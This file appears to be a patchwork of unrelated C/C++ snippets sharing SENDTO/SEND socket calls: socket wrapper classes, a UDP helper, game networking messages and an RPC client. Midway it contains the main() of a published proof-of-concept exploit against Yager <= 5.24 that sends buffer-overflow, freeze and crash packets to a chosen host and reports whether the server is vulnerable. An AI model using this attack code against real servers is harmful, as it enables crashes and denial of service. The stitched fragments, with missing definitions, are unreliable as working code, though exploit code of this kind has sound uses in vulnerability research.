//------------------------------------------------------------------------------
//
// Send() - Send data on a valid socket
//
//------------------------------------------------------------------------------
int32 CPassiveSocket::Send(const uint8 *pBuf, size_t bytesToSend)
{
SetSocketError(SocketSuccess);
m_nBytesSent = 0;
switch(m_nSocketType)
{
case CSimpleSocket::SocketTypeUdp:
{
if (IsSocketValid())
{
if ((bytesToSend > 0) && (pBuf != NULL))
{
m_timer.Initialize();
m_timer.SetStartTime();
m_nBytesSent = SENDTO(m_socket, pBuf, bytesToSend, 0, (const sockaddr *)&m_stClientSockaddr, sizeof(m_stClientSockaddr));
m_timer.SetEndTime();
if (m_nBytesSent == CSimpleSocket::SocketError)
{
TranslateSocketError();
}
}
}
break;
}
default:
CSimpleSocket::Send(pBuf, bytesToSend);
break;
}
return m_nBytesSent;
}
int udpioSend(UDPIO *up, UINT32 ip, int port, char *buf, int buflen)
{
int sent;
LOGIO *lp;
struct sockaddr_in addr;
static int alen = sizeof(struct sockaddr_in);
static char *fid = "udpioSend";
if (up == NULL || buf == NULL) {
errno = EINVAL;
lp = (up == NULL) ? NULL : up->lp;
logioMsg(lp, LOG_ERR, "%s: NULL input not allowed", fid);
return -1;
}
memset((void *) &addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(ip);
addr.sin_port = htons((short) port);
sent = SENDTO(up->sd, buf, buflen, 0, &addr, alen);
UpdateStats(&up->stats.xmit, sent, utilTimeStamp());
return sent;
}
void Enter(unsigned char team, string name)
{
Message msg;
msg.push_back("ENTER");
msg.push_back((long) team);
msg.push_back(name);
SENDTO(lastNode, msg, false);
}
void Welcome(Player::Id pid)
{
Message msg;
msg.push_back("WELCOME");
msg.push_back((long) pid);
msg.push_back(VERSION);
msg.push_back((long) game.players.size());
msg.push_back(MessageOfTheDay);
SENDTO(findNode(pid), msg, true);
}
void TeamInfo(NodeID nid)
{
Message msg;
msg.push_back("TEAMINFO");
map<unsigned char,Objects::Team>::iterator it;
for (it = game.teams.begin(); it != game.teams.end(); ++it)
{
msg.push_back((long) it->first);
msg.push_back((double) it->second.resources);
}
SENDTO(nid, msg, true);
}
void StructInfo(NodeID nid)
{
Terrain *t = TO(Terrain,game.world->terrain);
Message msg;
msg.push_back("STRUCTINFO");
map<GridPoint,ObjectHandle>::iterator it;
for (it = t->structures.begin(); it != t->structures.end(); ++it)
{
msg.push_back(convert(it->first));
msg.push_back((string) *it->second);
}
SENDTO(nid, msg, true);
}
void PlayerInfo(NodeID nid)
{
Message msg;
msg.push_back("PLAYERINFO");
map<Player::Id,ObjectHandle>::iterator it;
for (it = game.players.begin(); it != game.players.end(); ++it)
{
if (it->first == nodes[nid]) continue; // Don't send player his own info
if (it->first == game.player->id)
msg.push_back((long) tokenring->id());
else
msg.push_back((long) findNode(it->first));
msg.push_back((string) *it->second);
}
SENDTO(nid, msg, true);
}
static int
_send_response(struct mls_elope *elope, struct mls_elope_packet *res)
{
int len, ret = 0;
len = mls_elope_packet_get_length(res);
len = SENDTO(elope->srv->sock, res, len, 0,
(struct sockaddr*)&(elope->from), (elope->from_len));
if (len < 0) {
ret = -errno;
LOG_ERR(MLS_LOG_DEFAULT_MODULE,
"sendto(%d): %s.\n", errno, strerror(errno));
goto out;
}
out:
return ret;
}
//------------------------------------------------------------------------------
//
// Send() - Send data on a valid socket
//
//------------------------------------------------------------------------------
i32 TDSocket::Send(const char *pBuf, size_t bytesToSend)
{
SetSocketError(SocketSuccess);
m_nBytesSent = 0;
switch (m_nSocketType)
{
case TDSocket::SocketTypeTcp:
{
if (IsSocketValid())
{
if ((bytesToSend > 0) && (pBuf != NULL))
{
//---------------------------------------------------------
// Check error condition and attempt to resend if call
// was interrupted by a signal.
//---------------------------------------------------------
do
{
m_nBytesSent = SEND(m_socket, pBuf, bytesToSend, 0);
TranslateSocketError();
} while (GetSocketError() == TDSocket::SocketInterrupted);
}
}
break;
}
case TDSocket::SocketTypeUdp:
{
if (IsSocketValid())
{
if ((bytesToSend > 0) && (pBuf != NULL))
{
//---------------------------------------------------------
// Check error condition and attempt to resend if call
// was interrupted by a signal.
//---------------------------------------------------------
// if (GetMulticast())
// {
// do
// {
// m_nBytesSent = SENDTO(m_socket, pBuf, bytesToSend, 0, (const sockaddr *)&m_stMulticastGroup,
// sizeof(m_stMulticastGroup));
// TranslateSocketError();
// } while (GetSocketError() == TDSocket::SocketInterrupted);
// }
// else
{
do
{
m_nBytesSent = SENDTO(m_socket, pBuf, bytesToSend, 0, (const sockaddr *)&m_stServerSockaddr, sizeof(m_stServerSockaddr));
TranslateSocketError();
} while (GetSocketError() == TDSocket::SocketInterrupted);
}
}
}
break;
}
default:
break;
}
return m_nBytesSent;
}
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
len,
attack,
tmp,
autoport = 1;
u_short port = PORT;
u_char *buff,
info[] =
"Y_NET_YAGER_CLIENT\0"
"\x00\x00" "\x00\x00",
*p;
struct yager_head {
u_long type;
u_short size;
u_short pck1;
u_short pck2;
} *yh;
setbuf(stdout, NULL);
fputs("\n"
"Yager <= 5.24 multiple vulnerabilities "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(auto)]\n"
"\n"
"Attacks:\n"
" 1 = nickname buffer-overflow\n"
" 2 = big data buffer-overflow\n"
" 3 = freeze of server and connected clients\n"
" 4 = crash using type 0x1d (in 0x0050e970)\n"
" 5 = crash using type 0x22 (in 0x004fd2b8)\n"
" 6 = crash using type 0x24 (in 0x004fd2f5)\n"
" 7 = crash using type 0x28 (in 0x004b0f1b)\n"
"\n", argv[0]);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) {
autoport = 0;
port = atoi(argv[3]);
}
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
buff = malloc(BUFFSZ);
if(!buff) std_err();
if(autoport) {
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
fputs("- request informations:\n", stdout);
*(u_short *)(info + 19) = ~time(NULL);
SENDTO(info);
RECVFROM;
close(sd);
p = buff + 19;
port = ntohs(*(u_short *)p);
printf("\n Server port %d\n", port);
p += 2;
SHOW(" Map ");
printf(" Version %d.%d\n", p[1], p[0]);
p += 2;
SHOW(" Server name ");
p += 4;
printf(" Players %d / %d\n\n", p[1], p[0]);
peer.sin_port = htons(port);
}
attack = atoi(argv[1]);
if(attack > 7) {
fputs("\nError: you have chosen a wrong attack number\n\n", stdout);
exit(1);
}
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
yh = (struct yager_head *)buff;
yh->pck1 = tmp = ~time(NULL) & 0xffff;
yh->pck2 = 0;
if(attack == 1) {
yh->type = 0x1e;
memcpy(buff + HEADSZ, NICKBOF, sizeof(NICKBOF) - 1);
yh->size = sizeof(NICKBOF) - 1;
fputs("- send long data block for nickname buffer-overflow\n", stdout);
} else if(attack == 2) {
yh->type = 0x00; // almost any other type is ok
memcpy(buff + HEADSZ, PCKBOF, sizeof(PCKBOF) - 1);
yh->size = sizeof(PCKBOF) - 1;
fputs("- send long data block for packet buffer-overflow\n", stdout);
} else if(attack == 3) {
yh->type = 0x1b;
yh->size = 0;
printf("- server waits for %d bytes but we send a partial header\n", HEADSZ);
tmp %= HEADSZ;
if(tmp <= 0) tmp = 1;
SEND(buff, tmp);
fputs(" Server and connected clients should be freezed, press RETURN to stop the attack\n", stdout);
fgetc(stdin);
close(sd);
return(0);
} else {
if(attack == 4) {
yh->type = 0x1d;
} else if(attack == 5) {
yh->type = 0x22;
} else if(attack == 6) {
yh->type = 0x24;
} else if(attack == 7) {
yh->type = 0x28;
}
memset(buff + HEADSZ, 0xff, CRASHSZ);
yh->size = CRASHSZ;
printf("- send crash data with type 0x%08lx\n", yh->type);
}
SEND(buff, yh->size + HEADSZ);
fputs("- check server status\n", stdout);
if(!timeout(sd)) {
if(recv(sd, buff, BUFFSZ, 0) < 0) {
fputs("\nServer IS vulnerable!!!\n\n", stdout);
} else {
fputs("\nServer doesn't seem vulnerable\n\n", stdout);
}
} else {
fputs("\nNo reply from the server, it is probably not vulnerable\n\n", stdout);
}
close(sd);
return(0);
}
int
mls_elope_rpc(struct mls_net_ud_cln *cln,
struct mls_elope_packet *req, struct mls_elope_packet *res, int reslen)
{
int ret = 0;
int sock = cln->sock;
struct sockaddr_storage from;
socklen_t fromlen;
ssize_t len;
fd_set mask;
int width;
int i, retry = 2, wait_sec = 2;
FD_ZERO(&mask);
FD_SET(sock, &mask);
width = sock + 1;
for (i = 0; i < retry; i++) {
fd_set ready;
struct timeval timeout;
/* request */
if ((len = SENDTO(sock, req, mls_elope_packet_get_length(req),
0, (struct sockaddr *)&(cln->to), cln->tolen)) == -1)
{
ret = -errno;
LOG_ERR(MLS_LOG_DEFAULT_MODULE,
"sendto(%d): %s.\n", errno, strerror(errno));
goto out;
}
ready = mask;
timeout.tv_sec = wait_sec;
timeout.tv_usec = 0;
switch (select(width, (fd_set*)&ready, NULL, NULL, &timeout)) {
case -1:
ret = -errno;
LOG_ERR(MLS_LOG_DEFAULT_MODULE,
"select(%d,%s)\n", errno, strerror(errno));
goto out;
case 0:
/* timeout, retry */
break;
default:
if (FD_ISSET(sock, &ready)) {
ssize_t len;
/* response */
fromlen = sizeof(from);
if ((len = RECVFROM(sock, (char*)res, reslen,
0, (struct sockaddr*)&from, &fromlen)) == -1)
{
ret = -errno;
LOG_ERR(MLS_LOG_DEFAULT_MODULE,
"recvfrom(%d): %s.\n", errno, strerror(errno));
goto out;
}
/* OK, response packet */
ret = len;
LOG_INFO(MLS_LOG_DEFAULT_MODULE,
"message rpc, ok(%d,%d)\n", i, ret);
goto out;
}
break;
}
}
/* retry over */
ret = -1;
LOG_ERR(MLS_LOG_DEFAULT_MODULE, "message rpc, retry over(%d,%d)\n", i, ret);
out:
return ret;
}